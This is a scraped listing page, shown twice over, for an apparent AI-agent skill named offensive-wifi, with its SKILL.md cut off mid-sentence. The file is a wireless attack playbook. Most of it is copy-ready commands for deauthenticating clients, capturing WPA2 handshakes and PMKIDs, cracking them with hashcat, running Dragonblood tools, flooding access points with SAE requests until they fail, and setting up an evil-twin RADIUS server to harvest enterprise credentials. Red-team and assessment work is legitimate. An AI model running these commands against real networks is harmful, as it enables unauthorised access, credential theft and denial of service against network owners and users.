offensive-wifi

Name: offensive-wifi
Author: SnailSploit

2.8kstars447forks

How to install offensive-wifi?

snailsploit/claude-red/offensive-wifi

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wifi

Installs into the current project.

Summary

Wireless / 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, e

Files · 1

View on GitHub

SKILL.md

1	# Wireless / 802.11 — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
6	2. Recon airspace passively — never deauth before you know the topology
7	3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
8	4. Crack offline; do not rely on online dictionary attacks
9	5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS
10
11	---
12
13	## Hardware & Adapter Selection
14
15	\| Chipset \| Strengths \| Notes \|
16	\|---------\|-----------\|-------\|
17	\| Atheros AR9271 (Alfa AWUS036NHA) \| Solid 2.4 GHz monitor + injection \| 802.11n only \|
18	\| Realtek RTL8812AU (AWUS036ACH) \| Dual-band, injection \| Driver: `aircrack-ng/rtl8812au` \|
19	\| MediaTek MT7612U (AWUS036ACM) \| Stable dual-band \| Modern kernels in-tree \|
20	\| MediaTek MT7921AU \| Wi-Fi 6 monitor (limited) \| Patched drivers required \|
21	\| AWUS036AXML / AXM \| Wi-Fi 6E (6 GHz) \| Bleeding edge — verify per release \|
22
23	```bash
24	# Verify monitor + injection
25	sudo airmon-ng check kill
26	sudo airmon-ng start wlan0
27	sudo aireplay-ng --test wlan0mon
28	iw list \| grep -A 8 "Supported interface modes"
29	```
30
31	---
32
33	## Reconnaissance
34
35	```bash
36	# Multi-channel discovery (all bands)
37	sudo airodump-ng wlan0mon --band abg
38
39	# Targeted on a known channel/BSSID
40	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
41
42	# Hidden SSID — wait for client probe or force deauth
43	sudo airodump-ng -c 6 --essid-regex "." wlan0mon
44
45	# Wigle / Kismet for war-driving
46	kismet -c wlan0mon
47	```
48
49	Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.
50
51	---
52
53	## WPA / WPA2-PSK
54
55	### Four-way Handshake Capture
56
57	```bash
58	# Targeted capture
59	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
60
61	# Force a reconnect (deauth one client, do not blanket the AP)
62	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
63	```
64
65	Verify the EAPOL frames are usable:
66
67	```bash
68	hcxpcapngtool -o hash.hc22000 handshake-01.cap
69	```
70
71	### PMKID (No Client Required)
72
73	PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
74
75	```bash
76	sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
77	--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
78
79	hcxpcapngtool -o hash.hc22000 pmkid.pcapng
80	```
81
82	### Cracking
83
84	```bash
85	# GPU dictionary attack
86	hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
87
88	# Mask attack (e.g. carrier defaults: 10 digits)
89	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
90
91	# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
92	upc_keys ESSID \| hashcat -m 22000 hash.hc22000 -
93	```
94
95	---
96
97	## WPA3 / SAE
98
99	### Transition-Mode Downgrade
100
101	If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
102
103	### Dragonblood (CVE-2019-9494/9495/13377)
104
105	Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
106
107	```bash
108	# Reference implementation
109	git clone https://github.com/vanhoefm/dragonblood
110	python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
111	python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
112	```
113
114	### SAE Auth Flooding (Resource Exhaustion)
115
116	```bash
117	sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
118	# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
119	```
120
121	---
122
123	## WPA-Enterprise (802.1X / EAP)
124
125	### Method Identification
126
127	```bash
128	# Watch initial EAP-Request/Identity to fingerprint method
129	tshark -i wlan0mon -Y "eapol \|\| eap" -V
130	```
131
132	\| Inner Method \| Attack \|
133	\|--------------\|--------\|
134	\| EAP-MSCHAPv2 (PEAP/TTLS) \| Crack NetNTLMv1-style challenge offline \|
135	\| EAP-GTC \| Cleartext password — capture via rogue RADIUS \|
136	\| EAP-TLS \| Steal client cert (often in user keychain / DPAPI / NDES) \|
137	\| EAP-PWD \| Dragonblood-class side channels \|
138
139	### Evil-Twin RADIUS (MSCHAPv2 / GTC)
140
141	```bash
142	# eaphammer — automated rogue AP + RADIUS
143	eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
144	--auth wpa-eap --creds
145
146	# Captured hashes → asleap or hashcat -m 5500
147	asleap -C challenge -R response -W wordlist.txt
148	```
149
150	Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 w

People who liked this also viewed

6 picks

Type

offensive-wifi

2.8kstars447forks

View on GitHub

How to install offensive-wifi?

snailsploit/claude-red/offensive-wifi

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wifi

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Wireless / 802.11 — Offensive Testing Methodology
2
3	## Quick Workflow
4
5	1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
6	2. Recon airspace passively — never deauth before you know the topology
7	3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
8	4. Crack offline; do not rely on online dictionary attacks
9	5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS
10
11	---
12
13	## Hardware & Adapter Selection
14
15	\| Chipset \| Strengths \| Notes \|
16	\|---------\|-----------\|-------\|
17	\| Atheros AR9271 (Alfa AWUS036NHA) \| Solid 2.4 GHz monitor + injection \| 802.11n only \|
18	\| Realtek RTL8812AU (AWUS036ACH) \| Dual-band, injection \| Driver: `aircrack-ng/rtl8812au` \|
19	\| MediaTek MT7612U (AWUS036ACM) \| Stable dual-band \| Modern kernels in-tree \|
20	\| MediaTek MT7921AU \| Wi-Fi 6 monitor (limited) \| Patched drivers required \|
21	\| AWUS036AXML / AXM \| Wi-Fi 6E (6 GHz) \| Bleeding edge — verify per release \|
22
23	```bash
24	# Verify monitor + injection
25	sudo airmon-ng check kill
26	sudo airmon-ng start wlan0
27	sudo aireplay-ng --test wlan0mon
28	iw list \| grep -A 8 "Supported interface modes"
29	```
30
31	---
32
33	## Reconnaissance
34
35	```bash
36	# Multi-channel discovery (all bands)
37	sudo airodump-ng wlan0mon --band abg
38
39	# Targeted on a known channel/BSSID
40	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
41
42	# Hidden SSID — wait for client probe or force deauth
43	sudo airodump-ng -c 6 --essid-regex "." wlan0mon
44
45	# Wigle / Kismet for war-driving
46	kismet -c wlan0mon
47	```
48
49	Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.
50
51	---
52
53	## WPA / WPA2-PSK
54
55	### Four-way Handshake Capture
56
57	```bash
58	# Targeted capture
59	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
60
61	# Force a reconnect (deauth one client, do not blanket the AP)
62	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
63	```
64
65	Verify the EAPOL frames are usable:
66
67	```bash
68	hcxpcapngtool -o hash.hc22000 handshake-01.cap
69	```
70
71	### PMKID (No Client Required)
72
73	PMKID lives in the first AP-to-station message — you can grab it without anyone connected.
74
75	```bash
76	sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
77	--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
78
79	hcxpcapngtool -o hash.hc22000 pmkid.pcapng
80	```
81
82	### Cracking
83
84	```bash
85	# GPU dictionary attack
86	hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
87
88	# Mask attack (e.g. carrier defaults: 10 digits)
89	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
90
91	# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
92	upc_keys ESSID \| hashcat -m 22000 hash.hc22000 -
93	```
94
95	---
96
97	## WPA3 / SAE
98
99	### Transition-Mode Downgrade
100
101	If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.
102
103	### Dragonblood (CVE-2019-9494/9495/13377)
104
105	Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.
106
107	```bash
108	# Reference implementation
109	git clone https://github.com/vanhoefm/dragonblood
110	python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
111	python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
112	```
113
114	### SAE Auth Flooding (Resource Exhaustion)
115
116	```bash
117	sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
118	# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
119	```
120
121	---
122
123	## WPA-Enterprise (802.1X / EAP)
124
125	### Method Identification
126
127	```bash
128	# Watch initial EAP-Request/Identity to fingerprint method
129	tshark -i wlan0mon -Y "eapol \|\| eap" -V
130	```
131
132	\| Inner Method \| Attack \|
133	\|--------------\|--------\|
134	\| EAP-MSCHAPv2 (PEAP/TTLS) \| Crack NetNTLMv1-style challenge offline \|
135	\| EAP-GTC \| Cleartext password — capture via rogue RADIUS \|
136	\| EAP-TLS \| Steal client cert (often in user keychain / DPAPI / NDES) \|
137	\| EAP-PWD \| Dragonblood-class side channels \|
138
139	### Evil-Twin RADIUS (MSCHAPv2 / GTC)
140
141	```bash
142	# eaphammer — automated rogue AP + RADIUS
143	eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
144	--auth wpa-eap --creds
145
146	# Captured hashes → asleap or hashcat -m 5500
147	asleap -C challenge -R response -W wordlist.txt
148	```
149
150	Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 w

People who liked this also viewed

6 picks

Type